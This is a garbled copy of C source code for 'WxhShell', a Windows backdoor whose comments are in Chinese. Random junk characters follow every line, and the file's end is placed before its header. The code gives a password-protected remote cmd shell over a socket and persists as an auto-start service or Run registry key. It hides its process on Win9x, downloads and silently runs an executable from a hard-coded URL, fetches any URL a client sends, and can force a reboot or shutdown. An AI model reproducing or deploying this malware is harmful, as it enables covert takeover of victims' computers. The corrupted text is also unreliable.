    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2I'\o7Y  
    if(Boot(SHUTDOWN)) Wv"[,5 Z13  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Z7oPq6  
    else { 0n_Cuh\  
    closesocket(wsh); O4&/g-  
    ExitThread(0);  IjDG  
    }  jK&kQ  
    break; x]k^JPX  
    } M)#R_(Q5{  
  // 获取shell Ox&g#,@h  
  case 's': { R9yK"  
    CmdShell(wsh); }tU<RvT  
    closesocket(wsh); %t\`20-1<  
    ExitThread(0); VbtFM=Dg  
    break; #cQ[ vE)y  
  } vbQo8GFp}  
  // 退出 (0"9562  
  case 'x': { #4''Cs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WW;S  
    CloseIt(wsh); XTyn[n  
    break; 8*)zoT*A  
    } (G"b)"Qum  
  // 离开 T.HI $(d  
  case 'q': { EPr{1Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U$pHfNTH  
    closesocket(wsh); awXL}m[_!  
    WSACleanup(); =5LtEgHU  
    exit(1); ;P _`4w3  
    break; SM:{o&S`  
        } D;<Q m,[  
  } _qmB PUx  
  } ~]A';xH&  
'&3Sl?E  
  // 提示信息 / v;g v[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C did*hxJ  
} -b(:kAwStk  
  } [/*85 4  
|n=kYs  
  return; ,_Fq*6  
} @}x)>tqD  
bsPwTp^  
// shell模块句柄 1(!QutEb  
int CmdShell(SOCKET sock) [ WZ<d^L  
{ :%A1k2  
STARTUPINFO si; @^;WC+\0  
ZeroMemory(&si,sizeof(si)); %I%F !M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZH`6>:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _hMVv&$  
PROCESS_INFORMATION ProcessInfo; H U$:x"AW  
char cmdline[]="cmd"; t_,iV9NrZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^C):yxN P  
  return 0; q`}Q[Li  
} f<WnPoV  
OV>T}Fq  
// 自身启动模式 VPn #O  
int StartFromService(void) K~@-*8%  
{ X&M4 c5Li  
typedef struct =YZp,{T  
{ Sd^e!? bp  
  DWORD ExitStatus; ,h5.Si>  
  DWORD PebBaseAddress; Roy`HU ;0a  
  DWORD AffinityMask; rQ*'2Zf'<  
  DWORD BasePriority; ui70|  
  ULONG UniqueProcessId; nUhD41GJ  
  ULONG InheritedFromUniqueProcessId; -j]r\EVKS  
}   PROCESS_BASIC_INFORMATION; `U!eh1*b  
v>)[NAY9  
PROCNTQSIP NtQueryInformationProcess; +tkd($//  
m3 (fr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .K}u`v T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R.|fc5_"+  
g;v{JB  
  HANDLE             hProcess; DD|%F  
  PROCESS_BASIC_INFORMATION pbi; \(Zdd \,  
Si*Pi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GMgsM6.R  
  if(NULL == hInst ) return 0; d)r=W@tF]  
\D,0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,`/!0Wmt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :'Imz   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lEZ[0oa  
RURO0`^  
  if (!NtQueryInformationProcess) return 0; P!B\:B%4~]  
dm.?-u;C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ej'a G   
  if(!hProcess) return 0; 1oj7R7  
ID'@}69.S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !&E>8h  
cKF02?)TX  
  CloseHandle(hProcess); lUCdnp;w'  
%~^R Iwm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k%NY,(:(  
if(hProcess==NULL) return 0; -hp,O?PM  
*qY`MW  
HMODULE hMod; N##3k-0Ao  
char procName[255]; $hn_4$  
unsigned long cbNeeded; !&SUoa  
<B$Lu4b@c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9S&6u1  
_*bXVJ ]  
  CloseHandle(hProcess); 0>Ki([3  
;N]ElwP  
if(strstr(procName,"services")) return 1; // 以服务启动 IH[/fd0  
r]BB$^@@V  
  return 0; // 注册表启动 :;{U2q+  
} qdZn9i  
4^70r9hV9  
// 主模块 Iy|]U&`  
int StartWxhshell(LPSTR lpCmdLine) .yi.GRk  
{ xE;fM\7pu  
  SOCKET wsl; 9N=Dls  
BOOL val=TRUE; X_Y$-I$qd  
  int port=0; i0p"q p  
  struct sockaddr_in door; MV9{>xX  
a/L?R Uu  
  if(wscfg.ws_autoins) Install(); ?@_3B]Fs  
39"8Nq|e  
port=atoi(lpCmdLine); VC>KW{&J0  
dldM h T$  
if(port<=0) port=wscfg.ws_port; nm %ka4  
S:rW}rJ  
  WSADATA data; RFg$N@g,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RU_=VB %  
zMtK_ccQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jh\q2E~,`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X?4tOsd  
  door.sin_family = AF_INET; SRM[IU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _u{D#mmO  
  door.sin_port = htons(port); 2lAuO!%  
GE~mu76%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KQ3)^J_Z  
closesocket(wsl); |4X:>Ut]  
return 1; K.l?R#G`,F  
} JWMIZ{/M  
kwGj 7'  
  if(listen(wsl,2) == INVALID_SOCKET) { m'aw`?  
closesocket(wsl); y<)Lr}gP  
return 1; JkQ4'$:  
} &z1r$X.AW  
  Wxhshell(wsl); 4"l(rg  
  WSACleanup(); bhe|q`1,E  
I \ vu?$w  
return 0; 6G@_!i*2F  
Ms^Y:,;Hi  
} .o|Gk 5)  
 9l{r&]  
// 以NT服务方式启动 Am  kHVg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C/!2q$  
{ ]>R`]U9*O  
DWORD   status = 0; ^!pagt^  
  DWORD   specificError = 0xfffffff; 'f;+*~*L  
wF@qBDxg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d+2I+O03  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [.Kia >  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iOki ZN+d>  
  serviceStatus.dwWin32ExitCode     = 0; QdC>fy  
  serviceStatus.dwServiceSpecificExitCode = 0; r(cS{oni  
  serviceStatus.dwCheckPoint       = 0; PJA 1/"  
  serviceStatus.dwWaitHint       = 0; c/T]=S[  
Z33w A?9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?F?!QrL  
  if (hServiceStatusHandle==0) return; A[oi?.D  
5f}63as  
status = GetLastError(); 3.R?=npA  
  if (status!=NO_ERROR) NwT3e&u%|  
{ dVO|q9 /  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tV# x{DN  
    serviceStatus.dwCheckPoint       = 0; I!# 42~\  
    serviceStatus.dwWaitHint       = 0; Gt6$@ji4u  
    serviceStatus.dwWin32ExitCode     = status; 1!vR 8.  
    serviceStatus.dwServiceSpecificExitCode = specificError; (O&ooM* o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); P}?,*'b  
    return; +(cs,?`\  
  } TmzEZ<} &7  
x,>@IEN7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zpg*hlv  
  serviceStatus.dwCheckPoint       = 0; 9-bDgzk   
  serviceStatus.dwWaitHint       = 0; #<v3G)|aS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *]x]U >EF  
} Ae`K 9  
$qIMYX  
// 处理NT服务事件,比如:启动、停止 evimnV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mKxQ U0`  
{ 17<\Q(YQ=  
switch(fdwControl) }4eSB  
{ +sgishqn9  
case SERVICE_CONTROL_STOP: gR~XkU  
  serviceStatus.dwWin32ExitCode = 0; xQaN\):^8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @xO< ~  
  serviceStatus.dwCheckPoint   = 0; uiDR}   
  serviceStatus.dwWaitHint     = 0; 47 m:z5;  
  { Dyt}"r\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D}\% Q #  
  } 5 ^f>L2  
  return; /A <L  
case SERVICE_CONTROL_PAUSE: 2,NQ(c_c$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6PvV X*5T  
  break; c(YNv4*X  
case SERVICE_CONTROL_CONTINUE: ,VJ0J!@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =$b^ X?x  
  break; Sfh\4h$H  
case SERVICE_CONTROL_INTERROGATE: SC86+  
  break; NbG3^(  
}; V/762&2X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \'E%ue_<9  
} /0"Y. @L  
/o8h1L=  
// 标准应用程序主函数 7c+TS--  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ";s?#c  
{ <K4'|HU/  
@uT\.W:Q2  
// 获取操作系统版本 E(TL+o  
OsIsNt=GetOsVer(); 193Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nJ'O(Wh,)  
10}\7p8  
  // 从命令行安装 XQlK}AK  
  if(strpbrk(lpCmdLine,"iI")) Install(); aSKI %<?xN  
bnUd !/;  
  // 下载执行文件 =3/||b4c  
if(wscfg.ws_downexe) { *PZNZ{|m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^U:pv0Qz  
  WinExec(wscfg.ws_filenam,SW_HIDE); _~5{l_v|I  
} 1(rH5z'F  
oh#6>|  
if(!OsIsNt) { gZ/M0px  
// 如果时win9x,隐藏进程并且设置为注册表启动 /lAt&0  
HideProc(); r+ v*(Tu  
StartWxhshell(lpCmdLine); .xCO_7Rd  
} 3VA Lrb;  
else m:Z=: -x  
  if(StartFromService()) yWt87+%T  
  // 以服务方式启动 V\)@Yk2  
  StartServiceCtrlDispatcher(DispatchTable); 6^UeEmjc  
else ).-B@&Eu%  
  // 普通方式启动 1 ,[T;pdDd  
  StartWxhshell(lpCmdLine); ddlLS  
eN N%%Q  
return 0; ,Iwri\  
} Tv~<W4  
A[=)Zw "  
S37Bl5W  
65s|gfu/  
=========================================== e)7[weGN  
,C(")?4aJ  
&``;1/J*W  
cKFzn+  
?sp  
S-'iOJ 1]  
" MCL5a@BX)  
ykX}T6T  
#include <stdio.h> ~A [ Ju%R  
#include <string.h> }UQBaqDH  
#include <windows.h> [S-NGip  
#include <winsock2.h> rv:,Os_  
#include <winsvc.h> c?>Q!sC  
#include <urlmon.h> d8dREhK&  
:eei<cn2  
#pragma comment (lib, "Ws2_32.lib") e!G I<  
#pragma comment (lib, "urlmon.lib") i&{8a3B  
MP;7 u%   
#define MAX_USER   100 // 最大客户端连接数 Dr,{V6^  
#define BUF_SOCK   200 // sock buffer ryN/sjQC  
#define KEY_BUFF   255 // 输入 buffer !u>29VN  
4TC !P}  
#define REBOOT     0   // 重启 b\dBt#mB!  
#define SHUTDOWN   1   // 关机 Qighvei  
m0XK?;\V  
#define DEF_PORT   5000 // 监听端口 B.Ic8'  
c,X\1yLy  
#define REG_LEN     16   // 注册表键长度 `m@06Q  
#define SVC_LEN     80   // NT服务名长度 yhgHwES"  
~\:+y  
// 从dll定义API HrEZ]iQ@O0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hY/SR'8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7PHvsd"]p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2syKYHV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "7Zb)Ocb  
%HwPOEJ  
// wxhshell配置信息 'hf-)\Ylf  
struct WSCFG { yi r#G""7  
  int ws_port;         // 监听端口 r3_@ L>;  
  char ws_passstr[REG_LEN]; // 口令 lNls8@  
  int ws_autoins;       // 安装标记, 1=yes 0=no L ?4c8!Q  
  char ws_regname[REG_LEN]; // 注册表键名 _"##p  
  char ws_svcname[REG_LEN]; // 服务名 s1:UCv-%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $zyY"yWRZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 < yE(p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0[);v/@Ho  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s|%mGt &L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b3<<4Vf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s)]i0+!  
Y-gjX$qGo  
}; y3c]zDjV  
.oN<c]iqE  
// default Wxhshell configuration .kBi" p&  
struct WSCFG wscfg={DEF_PORT, hTf]t  
    "xuhuanlingzhe", <;SQ1^N  
    1, T_y 'cvh  
    "Wxhshell", 6=MejT  
    "Wxhshell", P[% W[E<  
            "WxhShell Service", 86vk"  
    "Wrsky Windows CmdShell Service", Rfeiv  
    "Please Input Your Password: ", fPZBm&`C  
  1, qYGnebn@\  
  "http://www.wrsky.com/wxhshell.exe", MU-ie*+  
  "Wxhshell.exe" Xr6lYO_R  
    }; 9 qqy(H  
x4 4)o:  
// 消息定义模块 %Kd8ZNv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S-Ryt>G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vn6/H8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5i83(>p3]e  
char *msg_ws_ext="\n\rExit."; 2W$c%~j$2  
char *msg_ws_end="\n\rQuit."; -gv@ .#N  
char *msg_ws_boot="\n\rReboot..."; !94& Uk(O  
char *msg_ws_poff="\n\rShutdown..."; D8paIp  
char *msg_ws_down="\n\rSave to "; <!-8g!  
( y'i{:B  
char *msg_ws_err="\n\rErr!"; 4YXtl +G  
char *msg_ws_ok="\n\rOK!"; xJJlVP  
UVxE~801Y  
char ExeFile[MAX_PATH]; Ajs<a(,6  
int nUser = 0; -TjYQ  
HANDLE handles[MAX_USER]; eLL> ThMyW  
int OsIsNt; 8y/YX  
{ZY^tTsY  
SERVICE_STATUS       serviceStatus; $/Zsy6q:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zf5s\w.4  
_+wv3? c"  
// 函数声明 R]m`v: 9  
int Install(void); !M)!  
int Uninstall(void); iG6 ^s62z7  
int DownloadFile(char *sURL, SOCKET wsh); ^$`xUKp`pn  
int Boot(int flag); Rr|VGtg  
void HideProc(void); =LZj6'  
int GetOsVer(void); $_@~t$  
int Wxhshell(SOCKET wsl); aVO5zR./)  
void TalkWithClient(void *cs); ]J~37 35]  
int CmdShell(SOCKET sock); s~IOc%3  
int StartFromService(void); N 2L/A  
int StartWxhshell(LPSTR lpCmdLine); D3HE~zkI  
"z=A=~~<{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [o*u!2 r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D 7 [n^WtL  
hG2btmBht  
// 数据结构和表定义 h 34|v=8d  
SERVICE_TABLE_ENTRY DispatchTable[] = /-8v]nRB  
{ DN&ZRA  
{wscfg.ws_svcname, NTServiceMain}, 5R{ {FD`h  
{NULL, NULL} pIC CjA?3@  
}; nyw,Fu  
Zo-E0[9  
// 自我安装 ^.nvX{H8~=  
int Install(void) 7$8z}2  
{ ?*9U d  
  char svExeFile[MAX_PATH];  aVz<RS  
  HKEY key; w4:n(.;HK  
  strcpy(svExeFile,ExeFile); [I4K`>|Z  
o!aKeM~|Es  
// 如果是win9x系统,修改注册表设为自启动 ~SUA.YuF  
if(!OsIsNt) { 0u'4kF!P!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G|4vnIS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "of(,p   
  RegCloseKey(key); k#c BBrY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {YcVeCq+N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c^6v7wT5  
  RegCloseKey(key); e,Gv~ae9  
  return 0; G"5Nj3v d  
    } 6@]Xwq  
  } Y H 2i V  
} A AH-Dj|&l  
else { fh b&_T  
p<Ah50!B  
// 如果是NT以上系统,安装为系统服务 p27A#Uu2}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i74^J+xk  
if (schSCManager!=0) wTf0O@``6H  
{ UacN'Rat  
  SC_HANDLE schService = CreateService E:D1ZV  
  ( SV<*qz  
  schSCManager, hIXGfvUy  
  wscfg.ws_svcname, QTz{ZNi!  
  wscfg.ws_svcdisp, r{YyKSL1*K  
  SERVICE_ALL_ACCESS, L`R,4mI.W  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CbQ@l@d]  
  SERVICE_AUTO_START, b v\V>s  
  SERVICE_ERROR_NORMAL, xGk@BA=0<  
  svExeFile, eG"iJ%I  
  NULL, q&<#)#+  
  NULL, /q uf'CV}  
  NULL, W ;P1T"*A  
  NULL, ' uo`-Y  
  NULL u5H#(&Om  
  ); }<2F]UuR  
  if (schService!=0) a_waLH/  
  { }(a y(  
  CloseServiceHandle(schService); Te[[xhTyw  
  CloseServiceHandle(schSCManager); j /)cdP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pEH[fA]  
  strcat(svExeFile,wscfg.ws_svcname); >u*woNw(XM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d=oOMXYa   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I%e7:cs>  
  RegCloseKey(key); JV36@DVQ  
  return 0; c5;YKON  
    } cuq7eMG6z  
  } Y@9L8XNP>  
  CloseServiceHandle(schSCManager); tPO.^  
} nd3]&occ  
} x^+ C[%  
L]K*Do  
return 1; iJ?8)}  
} #xW%RF  
3[SN[faS  
// 自我卸载 ~-']Q0Z  
int Uninstall(void) iV'-j,-i  
{ **! lV]/  
  HKEY key; +GP"9S2%R  
X-:Ni_O\ty  
if(!OsIsNt) { M\\TQ(B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K ANE"M   
  RegDeleteValue(key,wscfg.ws_regname); .Z%7+[  
  RegCloseKey(key); px//q4 U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n  'P:  
  RegDeleteValue(key,wscfg.ws_regname); &0(2Z^Z>fw  
  RegCloseKey(key); 7 aDI6G  
  return 0; S~(4q#Dt-  
  } &U4]hawbOU  
} <Cg;l<$`b  
} ]DmqhK`  
else { Qbl6~>T  
W.MJyem  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g+ 2SB5 2D  
if (schSCManager!=0) RVI],O  
{ :&?#~NFH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D1o 8Wo  
  if (schService!=0) ?z:xQ*#X  
  { k\ I$ve"*  
  if(DeleteService(schService)!=0) { "MoV*U2s,  
  CloseServiceHandle(schService); "5{Yn!-:  
  CloseServiceHandle(schSCManager); LTzf&TZbx5  
  return 0; \M>AN Z}  
  } Mh~T.;f.qq  
  CloseServiceHandle(schService); 3qpk Mu3  
  } _JR4 PKtx  
  CloseServiceHandle(schSCManager); hZ2PP ^  
} 7Mo O2  
} +QldZba  
{H])Fob  
return 1; PDD` eK}Fj  
} *k+QX   
:\4O9f*5+  
// 从指定url下载文件 })mez[UmZ  
int DownloadFile(char *sURL, SOCKET wsh) U}gYZi;;$  
{ /jj@ =H  
  HRESULT hr; U-WrZ|-  
char seps[]= "/"; \R79^  
char *token; yt!K|g  
char *file; Z#V[N9L  
char myURL[MAX_PATH]; A8Jbl^7E+  
char myFILE[MAX_PATH]; -F8%U:2a  
3g-}k  
strcpy(myURL,sURL); tCc}}2bC&  
  token=strtok(myURL,seps); a#uJzYB0  
  while(token!=NULL) 1"v;w!uh  
  { 1d\K{ 7i#  
    file=token; }}_WZ},h  
  token=strtok(NULL,seps); t8?+yG;  
  } []dRDe;#  
QtN0|q{af  
GetCurrentDirectory(MAX_PATH,myFILE); 3>L1}zyM]  
strcat(myFILE, "\\"); L {B#x@9tQ  
strcat(myFILE, file); 'kx{0J?  
  send(wsh,myFILE,strlen(myFILE),0); !%Z1" FDm/  
send(wsh,"...",3,0); /f# rN_4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U]R7=  
  if(hr==S_OK) *Gu=O|Mm  
return 0; E"L'm0i[[  
else :-6_X<  
return 1; @F3d9t-  
.S?,%4v%%  
} |?g2k:fzB7  
mY`b|cS3p$  
// 系统电源模块 W]M[5p]*  
int Boot(int flag) N#[/h96F  
{ $7BD~U   
  HANDLE hToken; k?S-peyRO  
  TOKEN_PRIVILEGES tkp; )3G?5 OTS  
A@DIq/^xM  
  if(OsIsNt) { V KR6i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YO,GZD`-o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pkk0?$l ",  
    tkp.PrivilegeCount = 1; niA{L:4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~4\bR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7,+:Q Y@  
if(flag==REBOOT) { )%MB o.NL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `q xg  
  return 0; As)-a5!  
} ,%,}[q?]d  
else { HuK'tU#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =%]dk=n?TN  
  return 0; ~&yaIuW<  
} x1Si&0T0P<  
  } ]h|GaHiE  
  else { @NyCMe;]  
if(flag==REBOOT) { [n:R]|^a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E3gQ`+wNg?  
  return 0; `mWg$e,  
} Q0 ^?jh  
else { A$5!]+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -7pZRnv  
  return 0; l[.pI];T  
} T 7 h C]R  
} F`3 8sq  
}NYsKu_cM  
return 1; #MBYa&Tw7  
} Ql\GL"  
u;Z~Px4]v  
// win9x进程隐藏模块 =E,*8O]  
void HideProc(void) sX**'cH  
{ W5yqnjK $4  
}2h~o~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YE^|G,]  
  if ( hKernel != NULL ) Ybok[5  
  { 6~2!ZU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ml3]CcKn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H7\EvIM=  
    FreeLibrary(hKernel); ;ga~ae=Fg  
  } RWoa'lnu  
C"F(kgL  
return; 8<g5.$xyz  
} \y0abxIHS  
U| y+k`  
// 获取操作系统版本 w>!KUT  
int GetOsVer(void) .IYE"0)wJ  
{ '7E?|B0],  
  OSVERSIONINFO winfo; @,s[l1P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qb SX'mx<  
  GetVersionEx(&winfo); c5t?S@b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "0]i4d1l  
  return 1; V= .'Db2D  
  else Uq[NO JC  
  return 0; H>W A?4  
} p oNQ<ijK  
zx\?cF  
// 客户端句柄模块 YxsW Y7J  
int Wxhshell(SOCKET wsl) g@S"!9[;U  
{ G_X'd  
  SOCKET wsh; hx:x5L>  
  struct sockaddr_in client; ^c-1w V` /  
  DWORD myID; v4 c_UFEh<  
XLzHm&;  
  while(nUser<MAX_USER) ~A6QX8a  
{ BGUP-_&  
  int nSize=sizeof(client); 8WaVs6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7[8PSoo  
  if(wsh==INVALID_SOCKET) return 1; ,c7 8O8|  
rt."P20T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z!ub`coV[  
if(handles[nUser]==0) 0h#' 3z<  
  closesocket(wsh); ,H.q%!{h_  
else q5QYp  
  nUser++; P+o ZS  
  } {E!$<A9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #Ok*O r  
*xt3mv/<z  
  return 0; OHH wcJ7N  
} -,p(PK  
&%INfl>o7.  
// 关闭 socket  G#K=n  
void CloseIt(SOCKET wsh) Qs*g)Yr  
{ a[t2T jB  
closesocket(wsh); ~KCOCtiD  
nUser--; o,u-%  
ExitThread(0); i"zWv@1z  
} p5Y"W(5_  
r6j 3A  
// 客户端请求句柄 `F(KM '  
void TalkWithClient(void *cs) ^ b}_[B  
{ qL3*H\9N  
qf+I2 kyS  
  SOCKET wsh=(SOCKET)cs;  &grT}  
  char pwd[SVC_LEN]; H{9di\xnEm  
  char cmd[KEY_BUFF]; ^TnBtIU-B  
char chr[1]; p"Fj6T2  
int i,j; O~w&4F;{  
Rsqb<+7  
  while (nUser < MAX_USER) { ULAAY$o@5  
7X1T9'j I2  
if(wscfg.ws_passstr) { Xgc@cwd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qifX7AXHr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -Vw,9VCF  
  //ZeroMemory(pwd,KEY_BUFF); ,GGr@})  
      i=0; ?!8M I,c/  
  while(i<SVC_LEN) { r1xN U0A  
V[A uw3)  
  // 设置超时 n|3ENN  
  fd_set FdRead; #(!>  
  struct timeval TimeOut;  lcyan  
  FD_ZERO(&FdRead); @/XA*9]l  
  FD_SET(wsh,&FdRead); 91e&-acA  
  TimeOut.tv_sec=8; 3fM~R+p  
  TimeOut.tv_usec=0; $^d,>hJi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xb3z<r   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L)J0T Sh  
E_7N^htv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PJS\> N&u  
  pwd=chr[0]; X> =`{JS1  
  if(chr[0]==0xd || chr[0]==0xa) { _KC()OIeC  
  pwd=0; B&`#`]  
  break; yw$er?  
  } }M * Oo  
  i++; &+d>xy\^/  
    } ErHbc 2  
;ukwKf s  
  // 如果是非法用户,关闭 socket K`768 %q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9UZKL@KC  
} jL>IX`,+6  
8( 7DW |\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +P81&CaY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `(.K|l}  
|Fm(  
while(1) { uI!rJc>TX  
PW~+=,  
  ZeroMemory(cmd,KEY_BUFF); V8 }yK$4b  
nB WVG  
      // 自动支持客户端 telnet标准   p,Qr9p3y  
  j=0; ab: yH ')  
  while(j<KEY_BUFF) { 2 D>WIOX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5iwJdm  
  cmd[j]=chr[0]; L "P$LEk  
  if(chr[0]==0xa || chr[0]==0xd) { SBg BZm}%  
  cmd[j]=0; kR3g,P{L  
  break; VkZrb2]v  
  } >/Gz*.  
  j++; 8lg $]  
    } Zchs/C 9{  
2X!O '  
  // 下载文件 &2d^=fih  
  if(strstr(cmd,"http://")) { K}L-$B*i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bb`GV  
  if(DownloadFile(cmd,wsh)) |^[]Oy=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2I* 7?`  
  else L Me{5H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z}&?^YU*)`  
  } d<r=f"  
  else { P4-`<i]!S  
q;3.pRw(  
